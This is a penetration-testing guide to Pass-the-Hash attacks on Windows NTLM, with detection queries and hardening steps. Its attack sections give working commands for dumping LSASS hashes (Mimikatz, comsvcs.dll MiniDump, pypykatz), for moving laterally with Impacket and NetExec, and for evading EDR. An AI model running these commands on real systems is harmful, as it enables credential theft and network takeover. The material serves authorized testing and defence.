
Pass-the-Hash Attacks
Pass-the-Hash for lateral movement, using NTLM hashes to authenticate without cracking the password.
Introduction
Pass-the-Hash (PtH) reuses a stolen NT hash to authenticate over NTLM. In an NTLM logon the client never sends the plaintext password. It sends a response computed from the NT hash and a challenge issued by the server, and the server runs the same calculation and compares. The hash is the only secret in that calculation, so whoever holds the hash can authenticate. Nothing needs to be cracked.
The NT hash is an unsalted MD4 digest of the Unicode password. Windows keeps these hashes in the Security Account Manager (SAM) for local accounts and in LSASS memory for logged-on sessions. When workstations are built from one image, the local administrator hash from one of them often works on the whole fleet, and that one hash can open hundreds of machines.
PtH is an NTLM technique. Kerberos does not accept an NT hash in this way, but NTLM gets used whenever Kerberos is unavailable, when you target a host by IP address, or when the tool forces NTLM for SMB. PtH applies wherever NTLM is accepted.
Authorization required
The Pass-the-Hash techniques here are for authorized penetration testing and red team engagements only. Doing this without explicit written authorization is a criminal offense under the Computer Fraud and Abuse Act and equivalent laws in other countries. Stay within the scope of a signed rules of engagement document.
Impact
- A valid NT hash gives shell access to any system where that account exists with the same password. There is no cracking delay.
- Built-in Administrator (RID 500) hashes reused across imaged machines give immediate access to the whole fleet.
- A local admin hash on a workstation can lead to a DA-privileged account if admins log on interactively to that host.
- Access survives a password change if the new hash can be harvested from LSASS again.
- NTLM authentication has no multi-factor step, so SMB, WMI and DCOM sessions bypass MFA controls.
- PtH over SMB or WMI looks like a normal network logon and is quieter than credential stuffing or brute force.
Technical details
In NTLMv2 challenge-response, the server sends a random 8-byte challenge, the client computes an HMAC-MD5 over that challenge with the NT hash as the key, and returns the result. The hash is the secret. LSASS holds NT hashes in memory for single sign-on, so processes can authenticate to network services without prompting the user again. With SYSTEM or SeDebugPrivilege on a host, an attacker can read LSASS memory with Mimikatz or direct process injection and recover the NT hash of every cached session.
The Mimikatz sekurlsa::logonpasswords module walks the LSASS process heap and parses the undocumented msv1_0 authentication package structures. It extracts NTLM hashes, Kerberos keys and, on older configurations, cleartext passwords stored by WDigest. Windows 8.1 and later disable WDigest by default, so NT hashes are the usual output.
With a hash in hand, the tooling swaps it into the authentication context to impersonate the victim account. On Windows that is sekurlsa::pth, which spawns a new process with a fabricated logon session containing the injected hash. From Linux, Impacket and NetExec use the hash directly in the NTLM handshake of their SMB, WMI and DCE-RPC sessions.
Dump hashes from LSASS with Mimikatz
This needs SYSTEM or SeDebugPrivilege. Defender and EDR products watch closely for Mimikatz signatures, so on a production assessment consider process injection or an LSASS dump instead.
# Elevate to SYSTEM first if running as local admin
mimikatz # privilege::debug
# Output: Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
# Relevant output fields:
# * Username : Administrator
# * Domain : CORP
# * NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# ^^ this is the NT hash ^^A quieter option is to dump the LSASS process to disk and parse it offline:
# Task Manager → Details → lsass.exe → Create Dump File
# Or via comsvcs.dll (LOLBin):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
# Parse offline with Mimikatz:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswordsSpawn an impersonation process with sekurlsa::pth
sekurlsa::pth creates a new process that inherits a fabricated NTLM logon session. Use it to run tools as the target user from a Windows attacker host.
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe
# Output: user: Administrator
# domain: CORP
# program: cmd.exe
# impers.: no
# | PID 8472
# | TID 8476
# \_ * Process is now running with the alternate credentials
# cmd.exe now runs as Administrator with the injected hash
# Lateral movement:
net use \\DC01\C$ /user:CORP\Administrator
dir \\DC01\C$\UsersLateral movement via SMB with Impacket
Impacket tools accept hashes directly in LM:NT format. The LM portion is ignored, so pass aad3b435b51404eeaad3b435b51404ee as a placeholder.
# psexec: uploads service binary via SMB, starts it via SCM
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# smbexec: no binary upload: executes via cmd.exe bat files
python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# wmiexec: uses WMI for execution: no SCM interaction, quieter
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# atexec: task scheduler execution
python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10 "whoami"Bulk network sweep with NetExec
NetExec (formerly CrackMapExec) tests one hash against a range of hosts at once. Use it to confirm hash reuse across a subnet.
# Test hash against entire subnet
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Successful authentication shows [+] / Pwn3d!
# [+] 192.168.1.10 (name:WS01) (domain:CORP) (signing:False) Administrator 31d6cfe0... Pwn3d!
# [+] 192.168.1.15 (name:WS02) (domain:CORP) (signing:False) Administrator 31d6cfe0... Pwn3d!
# Execute command on all matching hosts
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "hostname"
# Dump SAM from all accessible hosts (hash harvesting cascade)
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --sam
# WinRM access (port 5985)
netexec winrm 192.168.1.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0Attack tools
Mimikatz is the standard Windows credential extraction tool. For PtH, the command that matters is sekurlsa::pth.
# Step 1: Gain debug privilege
mimikatz # privilege::debug
# Step 2: Dump all logon sessions
mimikatz # sekurlsa::logonpasswords
# Step 3: Spawn process with target hash
mimikatz # sekurlsa::pth /user:jsmith /domain:CORP.LOCAL \
/ntlm:e19ccf75ee54e06b06a5907af13cef42 \
/run:"powershell.exe -nop -w hidden"
# Step 4: Overpass-the-Hash: convert NT hash to Kerberos TGT
# Useful when Kerberos is required (e.g., SMB signing enforced)
mimikatz # sekurlsa::pth /user:jsmith /domain:CORP.LOCAL \
/ntlm:e19ccf75ee54e06b06a5907af13cef42 \
/run:cmd.exe
# Then request TGT in spawned process:
# klist → klist purge → net use \\DC\share (triggers Kerberos TGT request)Almost every AV and EDR product has signatures for Mimikatz. To stay quiet, use Invoke-Mimikatz (needs an AMSI bypass), SafetyKatz, or an LSASS dump parsed offline with pypykatz.
pip install pypykatz
pypykatz lsa minidump lsass.dmp
# Output:
# == MSV ==
# Username: Administrator
# Domain: CORP
# NT: 31d6cfe0d16ae931b73c59d7e0c089c0Detection
PtH over NTLM produces Event ID 4624 (Logon Success) with Logon Type 3 (Network) and Authentication Package NTLM. Legitimate interactive sessions produce Logon Type 2 or 10, and service-to-service NTLM comes from the same source hostnames every time. The signal to hunt for is NTLM Type 3 logons from unexpected source IPs, or to many hosts in quick succession.
| Event ID | Source | Description |
|---|---|---|
| 4624 | Security | Successful logon. Filter on Logon Type 3 + NTLM auth package |
| 4648 | Security | Explicit credential logon. Fires when sekurlsa::pth spawns a process |
| 4672 | Security | Special privileges assigned. Follows 4624 for privileged accounts |
| 4776 | Security | DC attempted to validate credentials (NTLM). On DCs only |
| 10 | Sysmon | Process accessed lsass.exe. LSASS memory read for hash extraction |
| 1 | Sysmon | Process creation. Child process spawned by Mimikatz sekurlsa::pth |
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType']='3']]
and
*[EventData[Data[@Name='AuthenticationPackageName']='NTLM']]
and
*[EventData[Data[@Name='TargetUserName']!='ANONYMOUS LOGON']]
</Select>
</Query>
</QueryList>index=windows EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
NOT Account_Name="ANONYMOUS LOGON"
| stats count dc(dest) AS unique_hosts by src_ip, Account_Name
| where unique_hosts > 3
| sort -unique_hostsSecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where AccountName != "ANONYMOUS LOGON"
| summarize HostCount=dcount(Computer), EventCount=count()
by AccountName, IpAddress, bin(TimeGenerated, 5m)
| where HostCount > 3
| order by HostCount descFor LSASS access, Sysmon Event ID 10 with TargetImage containing lsass.exe and a GrantedAccess value of 0x1010 or 0x1fffff indicates credential harvesting. Correlate it with 4624 Type 3 NTLM logons from the same host shortly afterwards to confirm PtH following a dump.
NetExec sweeps show up as authentication velocity: multiple 4624/4776 events across different destination hosts from a single source within seconds, all using NTLM with the same account.
Remediation
Protected Users group
The Protected Users security group is the single change with the most effect. Members cannot authenticate via NTLM, only Kerberos, which stops PtH against those accounts. Add all tier-0 and tier-1 accounts (Domain Admins, schema admins, service accounts with privileged access):
# Add single account
Add-ADGroupMember -Identity "Protected Users" -Members "jsmith"
# Add all Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
Add-ADGroupMember -Identity "Protected Users" -Members $_
}
# Verify membership
Get-ADGroupMember "Protected Users" | Select-Object Name, SamAccountNameTest Protected Users compatibility before enrolling accounts in bulk. WinRM, some service configurations, and delegation-dependent services break when NTLM is unavailable.
Credential Guard
Credential Guard isolates LSASS secrets in a Hyper-V protected Virtual Trust Level (VTL1) container. Processes running in VTL0 can never read the NT hash, so sekurlsa::logonpasswords returns nothing usable on supported hardware:
# Enable Device Guard and Credential Guard
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
-Name "EnableVirtualizationBasedSecurity" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
-Name "RequirePlatformSecurityFeatures" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "LsaCfgFlags" -Value 1 -Type DWordCredential Guard requires UEFI with Secure Boot, VT-x/AMD-V, SLAT, and 64-bit Windows 10/11 Enterprise or Server 2016+.
LAPS
LAPS (Local Administrator Password Solution) removes the shared local admin hash. Each machine gets a unique, randomly generated local administrator password managed by AD:
# Check LAPS installation status
Get-ADComputer WS01 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# Read LAPS password (requires delegated permission)
Get-ADComputer WS01 -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# Windows LAPS (built into Windows 11 22H2+ and Server 2025)
Get-LapsADPassword -Identity WS01 -AsPlainTextDisable LM hashes
LM hashes are trivial to crack and enable PtH against legacy targets:
# GPO: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# "Network security: Do not store LAN Manager hash value on next password change" = Enabled
# Or via registry:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "NoLMHash" -Value 1 -Type DWordSMB signing
SMB signing does not prevent PtH directly. It stops the NTLM relay attacks that can be chained with PtH for more lateral movement. Require signing on all DCs (the default) and on workstations (needs a GPO):
# Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network client: Digitally sign communications (always)" = Enabled
# "Microsoft network server: Digitally sign communications (always)" = Enabled
# Verify signing status
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignatureTiered administration
A tiered administration model keeps credentials inside their security tier. Domain Admins should only authenticate to Tier 0 assets (DCs, PKI). Workstation admins authenticate only to workstations. When accounts cross tiers, Tier 0 hashes end up in LSASS on Tier 2 workstations, and that is the root cause of most PtH escalation chains.
References
MITRE ATT&CK techniques
- T1550.002 - Use Alternate Authentication Material: Pass the Hash: core PtH technique
- T1003.001 - OS Credential Dumping: LSASS Memory: hash extraction from LSASS
- T1021.002 - Remote Services: SMB/Windows Admin Shares: lateral movement channel for PtH
Tools documentation
- Mimikatz: Windows credential extraction and PtH toolkit
- Impacket: Python SMB/WMI/DCE-RPC PtH toolset
- NetExec: network-wide PtH validation and execution
- pypykatz: Python Mimikatz implementation for offline LSASS parsing
- Microsoft LAPS: Local Administrator Password Solution documentation
- Credential Guard deployment: Microsoft deployment guide
Next steps
NTLM relay attacks
The other way to abuse NTLM, when you can capture an authentication but hold no hash.
Kerberoasting
Turn the domain access a hash gives you into service account passwords.
AS-REP roasting
Offline cracking of accounts that have Kerberos pre-authentication disabled.
Silver ticket attacks
Forge service tickets from a machine or service account NT hash.
NTLM Relay Attacks
Net-NTLMv2 relay for lateral movement and privilege escalation: SMB, LDAP and AD CS relay with Responder and ntlmrelayx, plus detection and mitigation.
Pass-the-Ticket: Kerberos Ticket Hijacking
Pass-the-Ticket for lateral movement, exporting Kerberos tickets from memory and importing them into another session.